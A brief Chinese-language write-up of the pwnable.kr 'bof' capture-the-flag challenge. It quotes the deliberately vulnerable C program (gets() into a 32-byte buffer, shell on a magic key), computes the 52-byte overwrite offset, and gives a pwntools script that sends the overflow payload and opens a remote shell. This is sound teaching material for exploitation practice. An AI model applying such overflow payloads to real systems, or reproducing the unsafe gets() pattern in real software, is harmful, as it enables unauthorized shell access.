那我就首先下载代码。。。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
看代码。。意思 是我输入一个字符串,要输入字符串,并 溢出覆盖。。。那就掏出python了。。。
图片来源是 https://www.cnblogs.com/p4nda/p/7100716.html
首先来看
lea eax =ebx +s
s=2CH = 16*2+ 12=44
同时 cmp ebp +arg_0 然后比较 0CA啥啥的。
也就是说 需要覆盖的其实是44 + 8 因为arg_0 ==8
数组overflowme的起始地址在ebp+s(-2c),key参数的其实地址在ebp+arg0(+8),中间就差了44+8 = 52个字节
所以需要 52个字节 + 0xcafebabe
代码为
# -*- coding:utf-8 -*-
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))
r.interactive()